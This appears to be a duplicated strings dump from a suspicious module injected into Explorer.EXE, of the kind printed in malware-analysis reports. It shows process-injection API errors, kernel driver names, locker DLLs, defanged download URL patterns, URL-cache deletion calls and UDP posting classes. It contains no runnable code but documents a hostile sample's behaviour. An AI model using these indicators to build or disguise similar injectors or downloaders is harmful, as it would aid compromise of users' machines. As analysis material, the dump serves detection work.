0 111=1]1
8$8,828?8|8
8$8,828?8|8
;,
;,
: :$:,:0:4:8:<:>
: :$:,:0:4:8:<:>
?(?4?8?@?`?
?(?4?8?@?`?
HKEY_CURRENT_USER\Software\Tencent\LOL
HKEY_CURRENT_USER\Software\Tencent\LOL
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_USERS
F%*.*f
F%*.*f
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
(*.*)
(*.*)
1.0.0.0
1.0.0.0
(hXXp://VVV.eyuyan.com)
(hXXp://VVV.eyuyan.com)
Explorer.EXE_1572_rwx_01E20000_00001000:
PID=1956(0)=1=0.0.0,0_0x0_0x0-0x0-ITS:0_0_0,fg=1,rmv=0/0 %WinDir%\Explorer.EXE
PID=1956(0)=1=0.0.0,0_0x0_0x0-0x0-ITS:0_0_0,fg=1,rmv=0/0 %WinDir%\Explorer.EXE
Explorer.EXE_1572_rwx_01EA0000_0007A000:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
tGHt.Ht&
tGHt.Ht&
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
1.2.3
1.2.3
inflate 1.2.3 Copyright 1995-2005 Mark Adler
inflate 1.2.3 Copyright 1995-2005 Mark Adler
Please contact the application's support team for more information.
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
operator
operator
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
error in ReadProcessMemory , RVA=X sizeread=%d ret=%d Error=#%ld
error in ReadProcessMemory , RVA=X sizeread=%d ret=%d Error=#%ld
error in WriteProcessMemory , sizewrite=%d ret=%d RVA=%I64X Error=#%ld
error in WriteProcessMemory , sizewrite=%d ret=%d RVA=%I64X Error=#%ld
error in VirtualAllocEx , size=%d Error=#%ld
error in VirtualAllocEx , size=%d Error=#%ld
kernel32.dll
kernel32.dll
actth3.0.1
actth3.0.1
X=X
X=X
%s%d.%s.%s
%s%d.%s.%s
---thisid=%d,drvio=%d, %d.%d.%d, moddenies=%d,codechgcnt=%d,dbg_flag=%X logstep=%d, uidfg=%d,codechg=%d,cw=%d, gid=%d,byid=%u,vbyid=%d, cfgflag=0x%X,actrunning=%d,netava=%d,netini=%d, nopc=%d,actc=%d,inopmm=%d,udppostc=%d,%s
---thisid=%d,drvio=%d, %d.%d.%d, moddenies=%d,codechgcnt=%d,dbg_flag=%X logstep=%d, uidfg=%d,codechg=%d,cw=%d, gid=%d,byid=%u,vbyid=%d, cfgflag=0x%X,actrunning=%d,netava=%d,netini=%d, nopc=%d,actc=%d,inopmm=%d,udppostc=%d,%s
---IJ=%s shdata=X idnotmch=%d tmused=%d,c_send=%d,c_recv=%d,fver%d.%d.%d.%d dllver=%u/using=%u
---IJ=%s shdata=X idnotmch=%d tmused=%d,c_send=%d,c_recv=%d,fver%d.%d.%d.%d dllver=%u/using=%u
HttpDown run=%d,tsk=%d
HttpDown run=%d,tsk=%d
UPOST:%d
UPOST:%d
P%d parse error
P%d parse error
P%d 0xX,%d/%d step=%d,pst=%d ,%s(dw:X)
P%d 0xX,%d/%d step=%d,pst=%d ,%s(dw:X)
no udp post object
no udp post object
_hlmk_3.tmp~
_hlmk_3.tmp~
No ID again,preid=%d, X line=%d
No ID again,preid=%d, X line=%d
hXXp://%s/%s
hXXp://%s/%s
-- [%s]-%s- %s
-- [%s]-%s- %s
saveurl
saveurl
c:\Windows\UrlSave\
c:\Windows\UrlSave\
hXXp://%s/soft/%u_%d.rar
hXXp://%s/soft/%u_%d.rar
Ole32.dll
Ole32.dll
ole32.dll
ole32.dll
shell32.dll
shell32.dll
hlrestart.bat
hlrestart.bat
ping 127.0.0.1 -n 8
ping 127.0.0.1 -n 8
ShellExecuteA
ShellExecuteA
locker32.dll
locker32.dll
locker64.dll
locker64.dll
DriverImpl64.sys
DriverImpl64.sys
DriverImpl32.sys
DriverImpl32.sys
XXXXXXX
XXXXXXX
netcfgurl
netcfgurl
error in CreateFileMapping #%d,pro=0x%X,size=%d,name=%s
error in CreateFileMapping #%d,pro=0x%X,size=%d,name=%s
error in MapViewOfFile #%d
error in MapViewOfFile #%d
error in OpenMap #%d
error in OpenMap #%d
%s=%s
%s=%s
HTTP/
HTTP/
ws2_32.dll
ws2_32.dll
[%d]%s
[%d]%s
d:d:d %s
d:d:d %s
d-d-d d:d:d %s
d-d-d d:d:d %s
d_d_d.txt
d_d_d.txt
advapi32.dll
advapi32.dll
ReportEventA
ReportEventA
FindFirstUrlCacheEntryA
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
FindNextUrlCacheEntryA
DeleteUrlCacheEntryA
DeleteUrlCacheEntryA
FindCloseUrlCache
FindCloseUrlCache
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
InternetCrackUrlA
InternetCrackUrlA
HttpQueryInfoA
HttpQueryInfoA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestA
HttpSendRequestA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
InternetOpenUrlA
InternetOpenUrlA
wininet.dll
wininet.dll
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
&%s=%s
&%s=%s
text/html,application/json, text/javascript, application/xhtml xml, application/xml;q=0.9,image/webp,*/*
text/html,application/json, text/javascript, application/xhtml xml, application/xml;q=0.9,image/webp,*/*
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
url=%s
url=%s
[%s] %s
[%s] %s
srv=%s port=%d
srv=%s port=%d
HTTP/1.0
HTTP/1.0
#%d file=%s
#%d file=%s
code=%d
code=%d
#%d ,sess=%x url:%s
#%d ,sess=%x url:%s
%d.%d.%d.%d
%d.%d.%d.%d
%s:%d
%s:%d
ntdll.dll
ntdll.dll
iphlpapi.dll
iphlpapi.dll
%4X:%.4X
%4X:%.4X
%4X:%.8X
%4X:%.8X
error in VirtualFreeEx , RVA=X Error=#%ld
error in VirtualFreeEx , RVA=X Error=#%ld
-115726016"
-115726016"
kernelBase.dll
kernelBase.dll
user32.dll
user32.dll
user32=%d/%d
user32=%d/%d
.JPEG
.JPEG
hXXp://
hXXp://
D:\programs\out\HLSys\Release\locker.pdb
D:\programs\out\HLSys\Release\locker.pdb
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
GetCPInfo
GetCPInfo
GetConsoleOutputCP
GetConsoleOutputCP
GetProcessHeap
GetProcessHeap
locker.dll
locker.dll
erroffset passed as NULL
erroffset passed as NULL
this version of PCRE is not compiled with PCRE_UTF8 support
this version of PCRE is not compiled with PCRE_UTF8 support
PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X
PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X
POSIX named classes are supported only within a class
POSIX named classes are supported only within a class
POSIX collating elements are not supported
POSIX collating elements are not supported
!"#$%&'()* ,-./0123456789
!"#$%&'()* ,-./0123456789
!"#$%&'()* ,-./
!"#$%&'()* ,-./
!"#$%&'()* ,-./012345678
!"#$%&'()* ,-./012345678
!"#$%&'()*
!"#$%&'()*
,-./0123456789:;
,-./0123456789:;
!"#$%&'(
!"#$%&'(
$%&'()* ,-./0123
$%&'()* ,-./0123
$%&'()* ,-.
$%&'()* ,-.
!"#$%&'()* ,-./01234567
!"#$%&'()* ,-./01234567
!"#$%&'()
!"#$%&'()
Dbgview.exe
Dbgview.exe
\explorer.exe
\explorer.exe
.?AVCUDPDataPost@@
.?AVCUDPDataPost@@
.?AVCThread_UrlSaving@@
.?AVCThread_UrlSaving@@
.?AUIHttpDownNotify@@
.?AUIHttpDownNotify@@
.?AVCHttpTask@@
.?AVCHttpTask@@
.?AVCHttpDownService@@
.?AVCHttpDownService@@
.?AUIHttpSessNotify@@
.?AUIHttpSessNotify@@
.?AVCHttpSession@@
.?AVCHttpSession@@
.?AVCWebHookHandler@@
.?AVCWebHookHandler@@
192.168.
192.168.
7 72787?7
7 72787?7
4(4.43484
4(4.43484
5$5*5/545;5
5$5*5/545;5
7|7K7v7
7|7K7v7
4 444=4`4
4 444=4`4
6 6
6 6
KERNEL32.DLL
KERNEL32.DLL
mscoree.dll
mscoree.dll
\msctf.dll
\msctf.dll
\uxtheme.dll
\uxtheme.dll